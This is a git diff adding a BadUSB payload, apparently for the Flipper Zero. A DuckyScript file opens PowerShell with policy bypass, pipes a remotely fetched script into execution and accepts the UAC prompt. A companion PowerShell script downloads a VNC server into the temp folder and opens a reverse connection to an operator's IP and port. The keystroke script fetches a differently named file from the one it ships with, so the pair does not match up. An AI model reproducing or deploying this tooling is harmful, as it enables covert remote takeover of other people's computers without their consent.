diff --git a/Uvnc-Remote-Desktop/Uvnc-Remote-Desktop.txt b/Uvnc-Remote-Desktop/Uvnc-Remote-Desktop.txt new file mode 100644 index 0000000..1cf6d96 --- /dev/null +++ b/Uvnc-Remote-Desktop/Uvnc-Remote-Desktop.txt @@ -0,0 +1,18 @@ +REM Title: Uvnc-Remote-Desktop +REM Author: @beigeworm | https://github.com/beigeworm +REM Description: Downloads Uvnc client to machine and runs winvnc.exe +REM Target: Windows 10 + +REM *REQUIREMENTS* +REM admin required for disable USB function. + +REM some setup for dukie script. +DEFAULT_DELAY 100 + +REM open powershell (remove -W Hidden to show the window). +GUI r +DELAY 750 +STRING powershell -Exec Bypass -C $ip = ''; irm https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/BadUSB-Detect-and-Protect/main.ps1 | iex +CTRL-SHIFT ENTER +DELAY 2500 +ALT y diff --git a/Uvnc-Remote-Desktop/main.ps1 b/Uvnc-Remote-Desktop/main.ps1 new file mode 100644 index 0000000..5694287 --- /dev/null +++ b/Uvnc-Remote-Desktop/main.ps1 @@ -0,0 +1,41 @@ + +<# ======================== Start Uvnc client (Remote Desktop) ========================== + +DOWNLOAD SERVER FILES - https://github.com/beigeworm/assets/raw/main/uvnc-server.zip + +SYNOPSIS +Downloads Uvnc client to machine and runs winvnc.exe +Veiwable from another machine with vncviewer.exe + +USAGE +4. On host machine unzip 'uvnc-server.zip' +5. In extracted folder right click then click 'open in terminal' +1. Run this command with your port specified on your host machine - ./vncviewer.exe -listen 8080 +2. Add your IP and PORT below +3. Run this script on a target machine + +#> + +$ip = "$ip" +$port = '8080' + +$tempFolder = "$env:temp\vnc" +$vncDownload = "https://github.com/beigeworm/assets/raw/main/winvnc.zip" +$vncZip = "$tempFolder\winvnc.zip" + +if (!(Test-Path -Path $tempFolder)) { + New-Item -ItemType Directory -Path $tempFolder | Out-Null +} + +if (!(Test-Path -Path $vncZip)) { + Invoke-WebRequest -Uri $vncDownload -OutFile $vncZip +} +sleep 1 +Expand-Archive -Path $vncZip -DestinationPath $tempFolder -Force +sleep 1 +rm -Path $vncZip -Force + +$proc = "$tempFolder\winvnc.exe" +Start-Process $proc -ArgumentList ("-run") +sleep 2 +Start-Process $proc -ArgumentList ("-connect $ip::$port") \ No newline at end of file